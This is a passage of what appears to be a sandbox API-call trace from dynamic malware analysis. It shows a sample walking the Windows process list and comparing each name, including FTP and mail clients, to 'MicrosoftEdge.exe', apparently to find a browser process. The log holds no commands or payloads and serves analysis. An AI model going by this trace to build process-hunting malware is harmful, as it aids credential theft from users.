(in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0309.893] StrCmpIW (psz1="services.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.893] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0309.894] StrCmpIW (psz1="lsass.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.894] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.894] StrCmpIW (psz1="svchost.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.894] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0309.895] StrCmpIW (psz1="fontdrvhost.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.895] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0309.896] StrCmpIW (psz1="fontdrvhost.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.896] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.896] StrCmpIW (psz1="svchost.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.896] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0309.897] StrCmpIW (psz1="dwm.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.897] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.897] StrCmpIW (psz1="svchost.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.897] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.898] StrCmpIW (psz1="svchost.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.898] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.899] StrCmpIW (psz1="svchost.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.899] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.899] StrCmpIW (psz1="svchost.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.899] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.900] StrCmpIW (psz1="svchost.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.900] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.901] StrCmpIW (psz1="svchost.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.901] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.901] StrCmpIW (psz1="svchost.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.901] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.902] StrCmpIW (psz1="svchost.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.902] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.906] StrCmpIW (psz1="svchost.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.906] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.907] StrCmpIW (psz1="svchost.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.907] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0309.908] StrCmpIW (psz1="spoolsv.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.908] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.909] StrCmpIW (psz1="svchost.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.909] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0309.909] StrCmpIW (psz1="sihost.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.909] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0309.910] StrCmpIW (psz1="svchost.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.910] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0309.911] StrCmpIW (psz1="taskhostw.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.911] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x7b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0309.911] StrCmpIW (psz1="explorer.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.911] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0309.912] StrCmpIW (psz1="OfficeClickToRun.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.912] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0309.912] StrCmpIW (psz1="SecurityHealthService.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.912] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0309.913] StrCmpIW (psz1="Memory Compression", psz2="MicrosoftEdge.exe") returned -1 [0309.913] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0309.914] StrCmpIW (psz1="SearchUI.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.914] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0309.914] StrCmpIW (psz1="RuntimeBroker.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.914] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0309.915] StrCmpIW (psz1="dllhost.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.915] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="makeobject.exe")) returned 1 [0309.916] StrCmpIW (psz1="makeobject.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.916] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiative lab lindsay.exe")) returned 1 [0309.916] StrCmpIW (psz1="initiative lab lindsay.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.916] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physicalillustrateder.exe")) returned 1 [0309.917] StrCmpIW (psz1="physicalillustrateder.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.917] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="concluded rochester discussed.exe")) returned 1 [0309.917] StrCmpIW (psz1="concluded rochester discussed.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.917] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno.exe")) returned 1 [0309.919] StrCmpIW (psz1="techno.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.919] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="narrativehosting.exe")) returned 1 [0309.919] StrCmpIW (psz1="narrativehosting.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.919] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="address.exe")) returned 1 [0309.920] StrCmpIW (psz1="address.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.920] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cet-algeria-municipal.exe")) returned 1 [0309.921] StrCmpIW (psz1="cet-algeria-municipal.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.921] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawyers-cohen-accomplish.exe")) returned 1 [0309.921] StrCmpIW (psz1="lawyers-cohen-accomplish.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.921] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="photo.exe")) returned 1 [0309.922] StrCmpIW (psz1="photo.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.922] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="jury photographic recommend.exe")) returned 1 [0309.923] StrCmpIW (psz1="jury photographic recommend.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.923] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="teeth.exe")) returned 1 [0309.923] StrCmpIW (psz1="teeth.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.923] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bible.exe")) returned 1 [0309.924] StrCmpIW (psz1="bible.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.924] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="canvas.exe")) returned 1 [0309.924] StrCmpIW (psz1="canvas.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.924] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cinema-count.exe")) returned 1 [0309.925] StrCmpIW (psz1="cinema-count.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.925] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tyler.exe")) returned 1 [0309.926] StrCmpIW (psz1="tyler.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.926] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="systems-limitation.exe")) returned 1 [0309.926] StrCmpIW (psz1="systems-limitation.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.926] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="intellectual cleaner.exe")) returned 1 [0309.927] StrCmpIW (psz1="intellectual cleaner.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.927] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="parker_sonic_metallic.exe")) returned 1 [0309.928] StrCmpIW (psz1="parker_sonic_metallic.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.928] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="phrases_unique_mem.exe")) returned 1 [0309.928] StrCmpIW (psz1="phrases_unique_mem.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.928] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0309.929] StrCmpIW (psz1="3dftp.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.929] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0309.930] StrCmpIW (psz1="absolutetelnet.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.930] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0309.931] StrCmpIW (psz1="alftp.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.931] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0309.932] StrCmpIW (psz1="barca.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.932] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0309.933] StrCmpIW (psz1="bitkinex.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.933] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0309.934] StrCmpIW (psz1="coreftp.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.934] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0309.935] StrCmpIW (psz1="far.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.935] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0309.936] StrCmpIW (psz1="filezilla.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.936] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0309.937] StrCmpIW (psz1="flashfxp.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.938] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0309.939] StrCmpIW (psz1="fling.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.939] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0309.940] StrCmpIW (psz1="foxmailincmail.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.940] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0309.941] StrCmpIW (psz1="gmailnotifierpro.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.941] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0309.943] StrCmpIW (psz1="icq.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.943] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x680, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0309.944] StrCmpIW (psz1="leechftp.exe", psz2="MicrosoftEdge.exe") returned -1 [0309.944] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0309.945] StrCmpIW (psz1="ncftp.exe", psz2="MicrosoftEdge.exe") returned 1 [0309.945] Process32NextW (in: hSnapshot=0x344, lppe=0x2bbf4ac | out: lppe=0x2bbf4ac*(dwSize=0x22c, cntUsage=0x0, 